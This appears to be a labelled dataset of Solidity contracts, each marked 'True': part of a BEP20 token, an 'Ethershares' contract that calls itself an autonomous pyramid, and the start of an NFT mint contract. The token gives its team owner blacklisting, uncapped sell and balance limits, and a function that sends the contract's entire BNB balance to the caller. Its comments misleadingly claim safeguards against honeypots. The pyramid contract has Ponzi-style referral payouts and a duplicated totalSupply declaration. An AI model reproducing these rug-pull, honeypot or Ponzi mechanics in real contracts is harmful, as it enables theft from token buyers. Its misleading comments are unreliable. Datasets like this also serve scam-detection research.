//swaps marktetingToken and the liquidity token half for BNB
uint256 swapToken=liqBNBToken+tokenForMarketing;
//Gets the initial BNB balance, so swap won't touch any staked BNB
uint256 initialBNBBalance = address(this).balance;
_swapTokenForBNB(swapToken);
uint256 newBNB=(address(this).balance - initialBNBBalance);
//calculates the amount of BNB belonging to the LP-Pair and converts them to LP
uint256 liqBNB = (newBNB*liqBNBToken)/swapToken;
_addLiquidity(liqToken, liqBNB);
//Get the BNB balance after LP generation to get the
//exact amount of token left for Staking
uint256 generatedBNB=(address(this).balance - initialBNBBalance);
//distributes remaining BNB between stakers and Marketing
_distributeFeesBNB(generatedBNB);
}
//swaps tokens on the contract for BNB
function _swapTokenForBNB(uint256 amount) private {
_approve(address(this), address(_pancakeRouter), amount);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _pancakeRouter.WETH();
_pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
address(this),
block.timestamp
);
}
//Adds Liquidity directly to the contract where LP are locked(unlike safemoon forks, that transfer it to the owner)
function _addLiquidity(uint256 tokenamount, uint256 bnbamount) private {
totalLPBNB+=bnbamount;
_approve(address(this), address(_pancakeRouter), tokenamount);
_pancakeRouter.addLiquidityETH{value: bnbamount}(
address(this),
tokenamount,
0,
0,
address(this),
block.timestamp
);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//public functions /////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
function getBurnedTokens() public view returns(uint256){
return (InitialSupply-_circulatingSupply)/10**_decimals;
}
function getLimits() public view returns(uint256 balance, uint256 sell){
return(balanceLimit/10**_decimals, sellLimit/10**_decimals);
}
function getTaxes() public view returns(uint256 burnTax,uint256 liquidityTax,uint256 marketingTax, uint256 buyTax, uint256 sellTax, uint256 transferTax){
return (_burnTax,_liquidityTax,_marketingTax,_buyTax,_sellTax,_transferTax);
}
function getWhitelistedStatus(address AddressToCheck) public view returns(bool){
return _whiteList.contains(AddressToCheck);
}
//How long is a given address still locked from selling
function getAddressSellLockTimeInSeconds(address AddressToCheck) public view returns (uint256){
uint256 lockTime=_sellLock[AddressToCheck];
if(lockTime<=block.timestamp)
{
return 0;
}
return lockTime-block.timestamp;
}
function getSellLockTimeInSeconds() public view returns(uint256){
return sellLockTime;
}
//Functions every wallet can call
//Resets sell lock of caller to the default sellLockTime should something go very wrong
function AddressResetSellLock() public{
_sellLock[msg.sender]=block.timestamp+sellLockTime;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//Settings//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
bool public sellLockDisabled;
uint256 public sellLockTime;
bool public manualConversion;
function getDumpers() public view returns(address[] memory) {
return triedToDump;
}
function TeamSetWhitelistedAddressAlt(address addy, bool booly) public onlyTeam {
wListed[addy] = booly;
}
function TeamSetWhitelistedAddress(address addy, bool booly) public onlyTeam {
wListed[addy] = booly;
_excluded.add(addy);
}
function TeamSetWhitelistedAddressesAlt( address[] memory addy, bool booly) public onlyTeam {
uint256 i;
for(i=0; i<addy.length; i++) {
wListed[addy[i]] = booly;
}
}
function TeamSetWhitelistedAddresses( address[] memory addy, bool booly) public onlyTeam {
uint256 i;
for(i=0; i<addy.length; i++) {
wListed[addy[i]] = booly;
_excluded.add(addy[i]);
}
}
function TeamSetPeggedSwap(bool isPegged) public onlyTeam {
isSwapPegged = isPegged;
}
//Excludes account from Staking
function TeamExcludeFromRaffle(address addr) public onlyTeam{
require(!isexcludedFromRaffle(addr));
_excludedFromRaffle.add(addr);
}
//Includes excluded Account to staking
function TeamIncludeToRaffle(address addr) public onlyTeam{
require(isexcludedFromRaffle(addr));
_excludedFromRaffle.remove(addr);
}
function TeamWithdrawMarketingBNB() public onlyTeam{
uint256 amount=marketingBalance;
marketingBalance=0;
(bool sent,) =TeamWallet.call{value: (amount)}("");
require(sent,"withdraw failed");
}
//switches autoLiquidity and marketing BNB generation during transfers
function TeamSwitchManualBNBConversion(bool manual) public onlyTeam{
manualConversion=manual;
}
//Disables the timeLock after selling for everyone
function TeamDisableSellLock(bool disabled) public onlyTeam{
sellLockDisabled=disabled;
}
//Sets SellLockTime, needs to be lower than MaxSellLockTime
function TeamSetSellLockTime(uint256 sellLockSeconds)public onlyTeam{
require(sellLockSeconds<=MaxSellLockTime,"Sell Lock time too high");
sellLockTime=sellLockSeconds;
}
//Sets Taxes, is limited by MaxTax(20%) to make it impossible to create honeypot
function TeamSetTaxes(uint8 burnTaxes, uint8 liquidityTaxes, uint8 marketingTaxes,uint8 buyTax, uint8 sellTax, uint8 transferTax) public onlyTeam{
uint8 totalTax=burnTaxes+liquidityTaxes+marketingTaxes;
require(totalTax==100, "burn+liq+marketing needs to equal 100%");
require(buyTax<=MaxTax&&sellTax<=MaxTax&&transferTax<=MaxTax,"taxes higher than max tax");
_burnTax=burnTaxes;
_liquidityTax=liquidityTaxes;
_marketingTax=marketingTaxes;
_buyTax=buyTax;
_sellTax=sellTax;
_transferTax=transferTax;
}
//How much of the staking tax should be allocated for marketing
function TeamChangeMarketingShare(uint8 newShare) public onlyTeam{
marketingShare=newShare;
}
//manually converts contract token to LP and staking BNB
function TeamManualGenerateTokenSwapBalance(uint256 _qty) public onlyTeam{
_swapContractToken(_qty * 10**9);
}
//Exclude/Include account from fees (eg. CEX)
function TeamExcludeAccountFromFees(address account) public onlyTeam {
_excluded.add(account);
}
function TeamIncludeAccountToFees(address account) public onlyTeam {
_excluded.remove(account);
}
//Exclude/Include account from fees (eg. CEX)
function TeamExcludeAccountFromSellLock(address account) public onlyTeam {
_excludedFromSellLock.add(account);
}
function TeamIncludeAccountToSellLock(address account) public onlyTeam {
_excludedFromSellLock.remove(account);
}
//Limits need to be at least target, to avoid setting value to 0(avoid potential Honeypot)
function TeamUpdateLimits(uint256 newBalanceLimit, uint256 newSellLimit) public onlyTeam{
//Adds decimals to limits
newBalanceLimit=newBalanceLimit*10**_decimals;
newSellLimit=newSellLimit*10**_decimals;
balanceLimit = newBalanceLimit;
sellLimit = newSellLimit;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//Setup Functions///////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
bool public tradingEnabled;
bool public whiteListTrading;
address private _liquidityTokenAddress;
//Enables whitelist trading and locks Liquidity for a short time
function SetupEnableWhitelistTrading() public onlyTeam{
require(!tradingEnabled);
//Sets up the excluded from staking list
tradingEnabled=true;
whiteListTrading=true;
}
//Enables trading for everyone
function SetupEnableTrading() public onlyTeam{
require(tradingEnabled&&whiteListTrading);
whiteListTrading=false;
}
//Sets up the LP-Token Address required for LP Release
function SetupLiquidityTokenAddress(address liquidityTokenAddress) public onlyTeam{
_liquidityTokenAddress=liquidityTokenAddress;
}
//Functions for whitelist
function SetupAddToWhitelist(address addressToAdd) public onlyTeam{
_whiteList.add(addressToAdd);
}
function SetupAddArrayToWhitelist(address[] memory addressesToAdd) public onlyTeam{
for(uint i=0; i<addressesToAdd.length; i++){
_whiteList.add(addressesToAdd[i]);
}
}
function SetupRemoveFromWhitelist(address addressToRemove) public onlyTeam{
_whiteList.remove(addressToRemove);
}
function TeamRescueTokens(address tknAddress) public onlyTeam {
IBEP20 token = IBEP20(tknAddress);
uint256 ourBalance = token.balanceOf(address(this));
require(ourBalance>0, "No tokens in our balance");
token.transfer(msg.sender, ourBalance);
}
// Blacklists
function setBlacklistEnabled(bool isBlacklistEnabled) public onlyTeam {
isBlacklist = isBlacklistEnabled;
}
function setContractTokenSwapManual(bool manual) public onlyTeam {
isTokenSwapManual = manual;
}
function setBlacklistedAddress(address toBlacklist) public onlyTeam {
_blacklist[toBlacklist] = true;
}
function removeBlacklistedAddress(address toRemove) public onlyTeam {
_blacklist[toRemove] = false;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//Utilities/////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
function TeamAvoidBurning() public onlyTeam{
(bool sent,) =msg.sender.call{value: (address(this).balance)}("");
require(sent);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//external//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
receive() external payable {}
fallback() external payable {}
// IBEP20
function getOwner() external view override returns (address) {
return owner();
}
function name() external pure override returns (string memory) {
return _name;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _circulatingSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address _owner, address spender) external view override returns (uint256) {
return _allowances[_owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "Approve from zero");
require(spender != address(0), "Approve to zero");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "Transfer > allowance");
_approve(sender, msg.sender, currentAllowance - amount);
return true;
}
// IBEP20 - Helpers
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "<0 allowance");
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
}
|
True
|
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] |
pragma solidity ^0.4.20;
/*
* Team JUST presents..
* ====================================*
* _____ _ _ _ _____ *
*| _ |___| | | | | | *
*| __| . | | | | | | *
*|__| |___|_____| | | *
* *
* ====================================*
* -> What?
* The original autonomous pyramid, improved:
* [x] More stable than ever, having withstood severe testnet abuse and attack attempts from our community!.
* [x] Audited, tested, and approved by known community security specialists such as tocsick and Arc.
* [X] New functionality; you can now perform partial sell orders. If you succumb to weak hands, you don't have to dump all of your bags!
* [x] New functionality; you can now transfer tokens between wallets. Trading is now possible from within the contract!
* [x] New Feature: PoS Masternodes! The first implementation of Ethereum Staking in the world! Vitalik is mad.
* [x] Masternodes: Holding 100 PoWH3D Tokens allow you to generate a Masternode link, Masternode links are used as unique entry points to the contract!
* [x] Masternodes: All players who enter the contract through your Masternode have 30% of their 10% dividends fee rerouted from the master-node, to the node-master!
*
* -> What about the last projects?
* Every programming member of the old dev team has been fired and/or killed by 232.
* The new dev team consists of seasoned, professional developers and has been audited by veteran solidity experts.
* Additionally, two independent testnet iterations have been used by hundreds of people; not a single point of failure was found.
*
* -> Who worked on this project?
* - PonziBot (math/memes/main site/master)
* - Mantso (lead solidity dev/lead web3 dev)
* - swagg (concept design/feedback/management)
* - Anonymous#1 (main site/web3/test cases)
* - Anonymous#2 (math formulae/whitepaper)
*
* -> Who has audited & approved the projected:
* - Arc
* - tocisck
* - sumpunk
*/
contract Ethershares {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later)
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
uint256 constant internal balances = 8000000000000000000000000;
uint public totalSupply = 8000000000000000000000000;
string public name = "Ethershares";
uint8 constant public decimals = 18;
string public symbol = "ETS";
uint8 constant internal dividendFee_ = 5; // Look, strong Math
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 20 ether;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 8000000000000000000000000;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(bytes32 => bool) public administrators;
// when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid)
bool public onlyAmbassadors = true;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
function Ethershares()
public
{
// add administrators here
administrators[0x06347d724402d89ac0e0bcf3ba343b803494033f24a790a9e185a235ca22b3f3] = true;
administrators[0x4c59841947858acf57424a9cacf3ff847753f149cb20949dd46e6f03682c8ed2] = true;
administrators[0xb089178c0a90efc2f55e5e91a53d0754345c3db2ccbb901af388b0cc844a0828] = true;
}
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/**
* Converts all of caller's dividends to tokens.
*/
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/**
* Transfer tokens from the caller to a new holder.
* Remember, there's a 10% fee here as well.
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// ( we dont want whale premines )
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
/*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/
/**
* In case the amassador quota is not met, the administrator can manually disable the ambassador phase.
*/
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
/**
* In case one of us dies, we need to replace ourselves.
*/
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
/**
* Precautionary measures in case we need to adjust the masternode rate.
*/
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract LetsApe is ERC721A, Ownable {
string public baseURI ;
uint256 public supplyApe ;
uint256 public freeApe ;
uint256 public maxPerTxn = 21;
uint256 public price = 0.03 ether;
mapping(address => bool) private walletCount;
constructor() ERC721A("LETS APE", "LETSAPE", 20) {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
baseURI = _baseURI;
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
require(_exists(_tokenId), "Token does not exist.");
return string(abi.encodePacked(baseURI, Strings.toString(_tokenId)));
}
function mint(uint256 count) public payable {
require(totalSupply() + count < supplyApe, "Excedes max supply.");
require(totalSupply() + 1 > freeApe, "Public sale is not live yet.");
require(count < maxPerTxn, "Exceeds max per transaction.");
require(count > 0, "Must mint at least one token");
require(count * price == msg.value, "Invalid funds provided.");
_safeMint(_msgSender(), count);
}
function freeMint() public payable {
require(totalSupply() + 1 <= freeApe, "Public sale is live");
require(!walletCount[msg.sender], " 1 free mint per wallet");
_safeMint(_msgSender(), 1);
walletCount[msg.sender] = true;
}
function airdrop() external onlyOwner {
_safeMint(_msgSender(), 10);
}
function setSupply(uint256 _newSupplyApe) public onlyOwner {
supplyApe = _newSupplyApe;
}
function setfreeApe(uint256 _newfreeApe) public onlyOwner {
freeApe = _newfreeApe;
}
function setPrice(uint256 _newPrice) public onlyOwner {
price = _newPrice;
}
function setMax(uint256 _newMax) public onlyOwner {
maxPerTxn = _newMax;
}
function withdraw() public onlyOwner {
require(
payable(owner()).send(address(this).balance),
"Withdraw unsuccessful"
);
}
}
// SPDX-License-Identifier: MIT
// Creators: locationtba.eth, 2pmflow.eth
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
/**
